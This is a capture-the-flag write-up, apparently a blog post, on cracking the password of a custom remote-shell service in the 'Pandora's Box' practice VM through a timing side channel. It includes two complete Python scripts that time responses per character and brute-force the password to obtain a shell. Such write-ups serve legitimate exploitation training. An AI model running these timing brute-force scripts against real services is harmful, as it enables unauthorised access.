Stealing the Fire From Heaven

c0ne surprised us all by releasing Pandora’s Box, which is a VM geared more towards exploit dev, and breaks the norm for vulnerable VM’s, as it doesn’t start with a website !

There are 5 challenges, I am going to post them as I crack them.

Opening the Jar

NMAP shows that only 2 ports are open, 22 and 54311. 22 is obviously SSH, whereas 54311 is… ?

1
2
3
4
5
6
7
root@kali:~# nc -nv 172.16.231.133 54311
(UNKNOWN) [172.16.231.133] 54311 (?) open
#######################
# Secure Remote Shell #
#######################
Welcome, please log in
Password:

OK, we don’t know the password, and bruting it might be a bit excessive (though I did run it through rockyou to no avail). I spent a lot of time looking at this, and found out that the response time for a password of “a” was a lot quicker than the response time for a password of “aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”. Maybe the application is parsing the password, and the answer is a timing thing ? Maybe I can work out the characters based on how quick the application responds to my input.

I wrote the following Python script to get an idea of timings for each letter while trying to guess the first character of the password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python
import socket, time, string, numpy
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('172.16.231.133', 54311))
data = s.recv(1024)

discovered = ''
for charact in (string.ascii_letters + string.digits):
        #print charact + ": "
        t_start = time.time()
        s.send(discovered+charact+"\n")
        s.recv(200)
        avg1 = time.time() - t_start
        t_start = time.time()
        s.send(discovered+charact+"\n")
        s.recv( 200)
        avg2 =  time.time() - t_start
        t_start = time.time()
        s.send(discovered+charact+"\n")
        s.recv(200)
        avg3 = time.time() - t_start
        t_start = time.time()
        s.send(discovered+charact+"\n")
        s.recv(200)
        avg4 = time.time() - t_start
        t_start = time.time()
        s.send(discovered+charact+"\n")
        s.recv(200)
        avg5 = time.time() - t_start
        avg = [avg1, avg2, avg3, avg4, avg5]
        letter_avg = numpy.mean(avg)
        print "Letter was ", charact
        print "Average Response Time was ", letter_avg

s.close()

This produces an output like the following

It is sensible to hazard a guess that the first character is “R”, due to it responding a lot quicker than all other characters attempted. I then wrapped this into a script to brute the whole password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/python
import socket, time, string, numpy, sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('172.16.231.133', 54311))
data = s.recv(1024)
print "Attempting to Brute Password Until Successful Login..."
discovered = ''
for charnum in range (0, 100):

        for charact in (string.ascii_letters + string.digits):
                t_start = time.time()
                s.send(discovered+charact+"\n")
                s.recv(200)
                avg1 = time.time() - t_start
                t_start = time.time()
                s.send(discovered+charact+"\n")
                s.recv( 200)
                avg2 =  time.time() - t_start
                t_start = time.time()
                s.send(discovered+charact+"\n")
                s.recv(200)
                avg3 = time.time() - t_start
                t_start = time.time()
                s.send(discovered+charact+"\n")
                s.recv(200)
                avg4 = time.time() - t_start
                t_start = time.time()
                s.send(discovered+charact+"\n")
                prompt = s.recv(200)
                avg5 = time.time() - t_start
                avg = [avg1, avg2, avg3, avg4, avg5]
                letter_avg = numpy.mean(avg)
                if letter_avg < 0.001:
                        discovered = discovered + charact
                        sys.stdout.write('\rPassword Discovered: '+ discovered)
                        sys.stdout.flush()
                        break
        if 'Invalid' in prompt:
                meh = ''
        else:
                print "\nGot a successful login !  Use password above."
                break;
s.close()

This script produces the following output

As per the video above, once the bruted password is entered into the application, we’re provided with a shell.

Onto the next step !